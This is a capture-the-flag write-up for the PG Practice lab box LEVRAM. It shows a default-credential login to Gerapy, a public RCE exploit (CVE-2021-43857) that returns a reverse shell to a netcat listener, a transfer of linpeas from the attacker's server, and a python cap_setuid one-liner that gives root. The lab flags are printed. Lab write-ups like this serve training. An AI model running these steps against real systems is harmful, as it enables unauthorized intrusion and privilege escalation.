Summary #
On port 8000 there is a redirect to a GERAPY login screen. We can access this application using the default credentials admin:admin
. This applications version is Gerapy v0.9.7 which has a known authenticated RCE. This gives us initial access. Once on the box there is a Python binary /usr/bin/python3.10
that has cap_setuid=ep
set and allows us to get root access.
Specifications #
- Name: LEVRAM
- Platform: PG PRACTICE
- Points: 10
- Difficulty: Easy
- OS: Linux ubuntu 5.15.0-73-generic #80-Ubuntu SMP Mon May 15 15:18:26 UTC 2023 x86_64 x86_64 x86_64 GNU/Linux
- IP address: 192.168.151.24
- OFFSEC provided credentials: None
- HASH:
local.txt
:2d45e7c90a8395756a6f5527bb208e67
- HASH:
proof.txt
:9b7d8b9432a9ecbedb8cad4e485aef5e
Preparation #
First we’ll create a directory structure for our files, set the IP address to a bash variable and ping the target:
## create directory structure
mkdir levram && cd levram && mkdir enum files exploits uploads tools
## list directory
ls -la
total 28
drwxrwxr-x 7 kali kali 4096 Jul 19 08:29 .
drwxrwxr-x 7 kali kali 4096 Jul 19 08:29 ..
drwxrwxr-x 2 kali kali 4096 Jul 19 08:29 enum
drwxrwxr-x 2 kali kali 4096 Jul 19 08:29 exploits
drwxrwxr-x 2 kali kali 4096 Jul 19 08:29 files
drwxrwxr-x 2 kali kali 4096 Jul 19 08:29 tools
drwxrwxr-x 2 kali kali 4096 Jul 19 08:29 uploads
## set bash variable
ip=192.168.151.24
## ping target to check if it's online
ping $ip
PING 192.168.151.24 (192.168.151.24) 56(84) bytes of data.
64 bytes from 192.168.151.24: icmp_seq=1 ttl=61 time=25.1 ms
64 bytes from 192.168.151.24: icmp_seq=2 ttl=61 time=19.8 ms
^C
--- 192.168.151.24 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1002ms
rtt min/avg/max/mdev = 19.834/22.483/25.132/2.649 ms
Reconnaissance #
Portscanning #
Using the Rustscan
we can see what TCP ports are open. This tool is part of my default portscan flow.
## run the rustscan tool
sudo rustscan -a $ip | tee enum/rustscan
.----. .-. .-. .----..---. .----. .---. .--. .-. .-.
| {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| |
| .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ |
`-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: http://discord.skerritt.blog :
: https://github.com/RustScan/RustScan :
--------------------------------------
🌍HACK THE PLANET🌍
[~] The config file is expected to be at "/root/.rustscan.toml"
[!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers
[!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'.
Open 192.168.151.24:22
Open 192.168.151.24:8000
Starting Script(s)
[~] Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-19 08:32 CEST
Initiating Ping Scan at 08:32
Scanning 192.168.151.24 [4 ports]
Completed Ping Scan at 08:32, 0.05s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 08:32
Completed Parallel DNS resolution of 1 host. at 08:32, 0.01s elapsed
DNS resolution of 1 IPs took 0.01s. Mode: Async [#: 1, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]
Initiating SYN Stealth Scan at 08:32
Scanning 192.168.151.24 [2 ports]
Discovered open port 22/tcp on 192.168.151.24
Discovered open port 8000/tcp on 192.168.151.24
Completed SYN Stealth Scan at 08:32, 0.06s elapsed (2 total ports)
Nmap scan report for 192.168.151.24
Host is up, received echo-reply ttl 61 (0.019s latency).
Scanned at 2025-07-19 08:32:14 CEST for 0s
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 61
8000/tcp open http-alt syn-ack ttl 61
Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 0.28 seconds
Raw packets sent: 6 (240B) | Rcvd: 3 (116B)
Copy the output of open ports into a file called ports
within the files
directory.
## edit the ``files/ports` file
nano files/ports
## content `ports` file:
22/tcp open ssh syn-ack ttl 61
8000/tcp open http-alt syn-ack ttl 61
Run the following command to get a string of all open ports and use the output of this command to paste within NMAP:
## change directory
cd files
## get a list, comma separated of the open port(s)
cat ports | cut -d '/' -f1 > ports.txt && awk '{printf "%s,",$0;n++}' ports.txt | sed 's/.$//' > ports && rm ports.txt && cat ports
## output previous command
22,8000
## move one up
cd ..
## use this output in the `nmap` command below:
sudo nmap -T3 -p 22,8000 -sCV -vv $ip -oN enum/nmap-services-tcp
Output of NMAP:
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 61 OpenSSH 8.9p1 Ubuntu 3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 b9:bc:8f:01:3f:85:5d:f9:5c:d9:fb:b6:15:a0:1e:74 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBBYESg2KmNLhFh1KJaN2UFCVAEv6MWr58pqp2fIpCSBEK2wDJ5ap2XVBVGLk9Po4eKBbqTo96yttfVUvXWXoN3M=
| 256 53:d9:7f:3d:22:8a:fd:57:98:fe:6b:1a:4c:ac:79:67 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIBdIs4PWZ8yY2OQ6Jlk84Ihd5+15Nb3l0qvpf1ls3wfa
8000/tcp open http syn-ack ttl 61 WSGIServer 0.2 (Python 3.10.6)
|_http-cors: POST PUT DELETE OPTIONS PATCH
| http-methods:
|_ Supported Methods: GET OPTIONS
|_http-title: Gerapy
|_http-server-header: WSGIServer/0.2 CPython/3.10.6
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Initial Access #
8000/tcp open http syn-ack ttl 61 WSGIServer 0.2 (Python 3.10.6)
|_http-cors: POST PUT DELETE OPTIONS PATCH
| http-methods:
|_ Supported Methods: GET OPTIONS
|_http-title: Gerapy
|_http-server-header: WSGIServer/0.2 CPython/3.10.6
Since we got no credentials to start with, we’ll just skip port 22 for now and go directly for port 8000. When we go to the URL: http://192.168.151.24:8000 we get redirected to a GERAPY login page: http://192.168.151.24:8000/#/login

When we try default credentials like admin:admin
we get in.

In the bottom left we can see the version of the application: Gerapy v0.9.7. When we search for an available exploit of this version we find: https://www.exploit-db.com/exploits/50640, CVE-2021-43857. We could also have found this exploit using searchsploit:
searchsploit Gerapy
---------------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
---------------------------------------------------------------------------------- ---------------------------------
Gerapy 0.9.7 - Remote Code Execution (RCE) (Authenticated) | python/remote/50640.py
---------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
Papers: No Results
We mirror the exploit to our exploit directory:
## change directory
cd exploits
## mirror the searchsploit exploit
searchsploit -m python/remote/50640.py
Exploit: Gerapy 0.9.7 - Remote Code Execution (RCE) (Authenticated)
URL: https://www.exploit-db.com/exploits/50640
Path: /usr/share/exploitdb/exploits/python/remote/50640.py
Codes: CVE-2021-43857
Verified: False
File Type: Python script, ASCII text executable
In the exploit the login
and password
variables are already set correct (admin:admin
) so we’re good to go.
Now we run the exploit to get some help on how to use this. We need to enter the URL, the target port and our local IP address and local port. We will setup a local listener on port 9001.
## run the python exploit script
python 50640.py
______ _______ ____ ___ ____ _ _ _ _____ ___ ____ _____
/ ___\ \ / / ____| |___ \ / _ \___ \/ | | || ||___ / ( _ ) ___|___ |
| | \ \ / /| _| _____ __) | | | |__) | |_____| || |_ |_ \ / _ \___ \ / /
| |___ \ V / | |__|_____/ __/| |_| / __/| |_____|__ _|__) | (_) |__) |/ /
\____| \_/ |_____| |_____|\___/_____|_| |_||____/ \___/____//_/
Exploit for CVE-2021-43857
For: Gerapy < 0.9.8
usage: 50640.py [-h] -t URL -p TARGET_PORT -L LOCALHOST -P LOCALPORT
50640.py: error: the following arguments are required: -t/--target, -p/--port, -L/--lh, -P/--lp
## get local IP address and look for the tun0 interface
ip a
<SNIP>
5: tun0: <POINTOPOINT,MULTICAST,NOARP,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UNKNOWN group default qlen 500
link/none
inet 192.168.45.195/24 scope global tun0
valid_lft forever preferred_lft forever
inet6 fe80::ac6c:6937:fa1e:f1ef/64 scope link stable-privacy proto kernel_ll
valid_lft forever preferred_lft forever
## setup out local listener
nc -lvnp 9001
## add the correct parameters to the exploit and run it
python 50640.py -t 192.168.151.24 -p 8000 -L 192.168.45.195 -P 9001
______ _______ ____ ___ ____ _ _ _ _____ ___ ____ _____
/ ___\ \ / / ____| |___ \ / _ \___ \/ | | || ||___ / ( _ ) ___|___ |
| | \ \ / /| _| _____ __) | | | |__) | |_____| || |_ |_ \ / _ \___ \ / /
| |___ \ V / | |__|_____/ __/| |_| / __/| |_____|__ _|__) | (_) |__) |/ /
\____| \_/ |_____| |_____|\___/_____|_| |_||____/ \___/____//_/
Exploit for CVE-2021-43857
For: Gerapy < 0.9.8
[*] Resolving URL...
[*] Logging in to application...
[*] Login successful! Proceeding...
[*] Getting the project list
Traceback (most recent call last):
File "/50640.py", line 130, in <module>
exp.exploitation()
~~~~~~~~~~~~~~~~^^
File "/50640.py", line 76, in exploitation
name = dict3[0]['name']
~~~~~^^^
IndexError: list index out of range
It errors out. This is because the exploit is requesting a project list, but there are no projects registered. So, in the web application we first need to create a new project. Select project / create
, enter a project name and press create


Rerun the exploit and we get initial access on our listener as the app
user:
## rerun the python exploit
python 50640.py -t 192.168.151.24 -p 8000 -L 192.168.45.195 -P 9001
______ _______ ____ ___ ____ _ _ _ _____ ___ ____ _____
/ ___\ \ / / ____| |___ \ / _ \___ \/ | | || ||___ / ( _ ) ___|___ |
| | \ \ / /| _| _____ __) | | | |__) | |_____| || |_ |_ \ / _ \___ \ / /
| |___ \ V / | |__|_____/ __/| |_| / __/| |_____|__ _|__) | (_) |__) |/ /
\____| \_/ |_____| |_____|\___/_____|_| |_||____/ \___/____//_/
Exploit for CVE-2021-43857
For: Gerapy < 0.9.8
[*] Resolving URL...
[*] Logging in to application...
[*] Login successful! Proceeding...
[*] Getting the project list
[*] Found project: project1
[*] Getting the ID of the project to build the URL
[*] Found ID of the project: 1
[*] Setting up a netcat listener
listening on [any] 9001 ...
[*] Executing reverse shell payload
[*] Watchout for shell! :)
## receive a reverse shell on our listener
nc -lvnp 9001
listening on [any] 9001 ...
connect to [192.168.45.195] from (UNKNOWN) [192.168.151.24] 44556
bash: cannot set terminal process group (844): Inappropriate ioctl for device
bash: no job control in this shell
app@ubuntu:~/gerapy$ whoami
whoami
app
Go to the app
home directory to print the local.txt
content.
## change to the user home directory
app@ubuntu:~/gerapy$ cd ~
cd ~
## list all files
app@ubuntu:~$ ls -la
ls -la
total 48
drwxr-x--- 6 app app 4096 Jul 19 15:00 .
drwxr-xr-x 3 root root 4096 Jun 13 2023 ..
lrwxrwxrwx 1 root root 9 Jun 13 2023 .bash_history -> /dev/null
-rw-r--r-- 1 app app 220 Jun 13 2023 .bash_logout
-rw-r--r-- 1 app app 3771 Jun 13 2023 .bashrc
drwxr-xr-x 7 app app 4096 Jul 19 15:05 gerapy
drwx------ 3 app app 4096 Jul 19 15:00 .gnupg
-rw-rw-r-- 1 app app 33 Jul 19 14:28 local.txt
drwxr-xr-x 2 app app 4096 Aug 3 2024 logs
-rw-r--r-- 1 app app 807 Jun 13 2023 .profile
-rwxr-xr-x 1 app app 109 Jun 13 2023 run.sh
drwx------ 3 app app 4096 Jul 19 14:59 snap
-rw------- 1 app app 818 Jun 13 2023 .viminfo
## print `local.txt`
app@ubuntu:~$ cat local.txt
cat local.txt
2d45e7c90a8395756a6f5527bb208e67
Privilege Escalation #
First we download linpeas locally, upload it to the target and run it.
## change directory
cd uploads
## download `linpeas.sh`
wget https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh
## start a local webserver
python3 -m http.server 80
## on target, download `linpeas.sh`
app@ubuntu:~/gerapy$ wget http://192.168.45.195/linpeas.sh
wget http://192.168.45.195/linpeas.sh
--2025-07-19 15:28:44-- http://192.168.45.195/linpeas.sh
Connecting to 192.168.45.195:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 956174 (934K) [text/x-sh]
Saving to: ‘linpeas.sh’
<SNIP>
2025-07-19 15:28:44 (3.49 MB/s) - ‘linpeas.sh’ saved [956174/956174]
## change the execution bit
app@ubuntu:~/gerapy$ chmod +x linpeas.sh
chmod +x linpeas.sh
## run `linpeas.sh`
app@ubuntu:~/gerapy$ ./linpeas.sh
Within the linpeas output we can see that the /usr/bin/python3.10
binary has cap_setuid=ep
. This indicates that the cap_setuid
capability is both effective and permitted for a file, allowing it to change the user ID of a process, including setting it to the root user (UID 0). We can abuse this like so: https://gtfobins.github.io/gtfobins/python/#capabilities
## abusing `cap_setuid` on `/usr/bin/python3.10`
app@ubuntu:~/gerapy$ /usr/bin/python3.10 -c 'import os; os.setuid(0); os.system("/bin/sh")'
<mport os; os.setuid(0); os.system("/bin/sh")'
whoami
root
cat /root/proof.txt
9b7d8b9432a9ecbedb8cad4e485aef5e
References #
[+]